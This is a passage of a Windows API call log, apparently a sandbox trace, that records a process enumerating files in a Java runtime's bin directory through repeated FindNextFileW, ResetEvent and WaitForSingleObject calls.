ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x31440, dwReserved0=0x0, dwReserved1=0x0, cFileName="jdwp.dll", cAlternateFileName="")) returned 1 [0221.913] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x6840, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.dll", cAlternateFileName="")) returned 1 [0221.913] ResetEvent (hEvent=0x2b8) returned 1 [0221.913] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0221.935] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x22240, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxmedia.dll", cAlternateFileName="")) returned 1 [0221.935] ResetEvent (hEvent=0x2b8) returned 1 [0221.935] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0222.606] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7511d3f, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7511d3f, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa75aa64d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2794a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxwebkit.dll", cAlternateFileName="JFXWEB~1.DLL")) returned 1 [0222.607] ResetEvent (hEvent=0x2b8) returned 1 [0222.607] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0223.023] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75aa64d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa75aa64d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa75aa64d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jjs.exe", cAlternateFileName="")) returned 1 [0223.024] ResetEvent (hEvent=0x2b8) returned 1 [0223.024] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0223.040] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75aa64d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa75aa64d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa75aa64d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2aa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jli.dll", cAlternateFileName="")) returned 1 [0223.040] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75aa64d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa75aa64d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa897bfc2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x48440, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2iexp.dll", cAlternateFileName="")) returned 1 [0223.040] ResetEvent (hEvent=0x2b8) returned 1 [0223.041] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0223.261] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa897bfc2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa897bfc2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89a2223, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1b640, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2launcher.exe", cAlternateFileName="JP2LAU~1.EXE")) returned 1 [0223.261] ResetEvent (hEvent=0x2b8) returned 1 [0223.261] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0223.284] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89a2223, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89a2223, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89a2223, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2native.dll", cAlternateFileName="JP2NAT~1.DLL")) returned 1 [0223.284] ResetEvent (hEvent=0x2b8) returned 1 [0223.285] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0223.478] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89a2223, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89a2223, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89a2223, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39840, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2ssv.dll", cAlternateFileName="")) returned 1 [0223.478] ResetEvent (hEvent=0x2b8) returned 1 [0223.478] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0223.482] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89a2223, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89a2223, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2d640, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpeg.dll", cAlternateFileName="")) returned 1 [0223.482] ResetEvent (hEvent=0x2b8) returned 1 [0223.482] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0223.493] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4840, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdt.dll", cAlternateFileName="")) returned 1 [0223.494] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsound.dll", cAlternateFileName="")) returned 1 [0223.494] ResetEvent (hEvent=0x2b8) returned 1 [0223.494] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0223.511] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsoundds.dll", cAlternateFileName="")) returned 1 [0223.511] ResetEvent (hEvent=0x2b8) returned 1 [0223.511] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0223.897] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x35e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="kcms.dll", cAlternateFileName="")) returned 1 [0223.897] ResetEvent (hEvent=0x2b8) returned 1 [0223.897] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0223.981] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="keytool.exe", cAlternateFileName="")) returned 1 [0223.981] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="kinit.exe", cAlternateFileName="")) returned 1 [0223.982] ResetEvent (hEvent=0x2b8) returned 1 [0223.982] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0223.998] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="klist.exe", cAlternateFileName="")) returned 1 [0223.998] ResetEvent (hEvent=0x2b8) returned 1 [0223.998] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0224.166] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="ktab.exe", cAlternateFileName="")) returned 1 [0224.166] ResetEvent (hEvent=0x2b8) returned 1 [0224.166] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0224.184] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39040, dwReserved0=0x0, dwReserved1=0x0, cFileName="lcms.dll", cAlternateFileName="")) returned 1 [0224.184] ResetEvent (hEvent=0x2b8) returned 1 [0224.184] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0224.286] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x9040, dwReserved0=0x0, dwReserved1=0x0, cFileName="management.dll", cAlternateFileName="MANAGE~1.DLL")) returned 1 [0224.287] ResetEvent (hEvent=0x2b8) returned 1 [0224.287] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0224.314] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x9fa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="mlib_image.dll", cAlternateFileName="MLIB_I~1.DLL")) returned 1 [0224.314] ResetEvent (hEvent=0x2b8) returned 1 [0224.314] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0224.647] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa12a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1 [0224.647] ResetEvent (hEvent=0x2b8) returned 1 [0224.647] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0224.705] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xca750, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1 [0224.705] ResetEvent (hEvent=0x2b8) returned 1 [0224.705] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0224.920] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xeb2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1 [0224.920] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="net.dll", cAlternateFileName="")) returned 1 [0224.921] ResetEvent (hEvent=0x2b8) returned 1 [0224.921] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0225.165] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xec40, dwReserved0=0x0, dwReserved1=0x0, cFileName="nio.dll", cAlternateFileName="")) returned 1 [0225.165] ResetEvent (hEvent=0x2b8) returned 1 [0225.165] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0225.325] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="npt.dll", cAlternateFileName="")) returned 1 [0225.325] ResetEvent (hEvent=0x2b8) returned 1 [0225.325] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0225.345] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="orbd.exe", cAlternateFileName="")) returned 1 [0225.345] ResetEvent (hEvent=0x2b8) returned 1 [0225.345] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0225.346] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="pack200.exe", cAlternateFileName="")) returned 1 [0225.346] ResetEvent (hEvent=0x2b8) returned 1 [0225.346] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0225.367] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2a2bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin2", cAlternateFileName="")) returned 1 [0225.368] GetProcessHeap () returned 0xc10000 [0225.368] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0225.368] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2a2bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0225.368] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2a2bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0225.368] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xca750, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1 [0225.368] ResetEvent (hEvent=0x2b8) returned 1 [0225.368] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0225.392] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39440, dwReserved0=0x0, dwReserved1=0x0, cFileName="npjp2.dll", cAlternateFileName="")) returned 1 [0225.392] ResetEvent (hEvent=0x2b8) returned 1 [0225.392] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0225.560] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39440, dwReserved0=0x0, dwReserved1=0x0, cFileName="npjp2.dll", cAlternateFileName="")) returned 0 [0225.560] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0225.560] GetProcessHeap () returned 0xc10000 [0225.560] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0225.560] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="policytool.exe", cAlternateFileName="POLICY~1.EXE")) returned 1 [0225.560] ResetEvent (hEvent=0x2b8) returned 1 [0225.560] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0225.579] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe040, dwReserved0=0x0, dwReserved1=0x0, cFileName="prism_common.dll", cAlternateFileName="PRISM_~1.DLL")) returned 1 [0225.579] ResetEvent (hEvent=0x2b8) returned 1 [0225.579] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0225.803] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1fe40, dwReserved0=0x0, dwReserved1=0x0, cFileName="prism_d3d.dll", 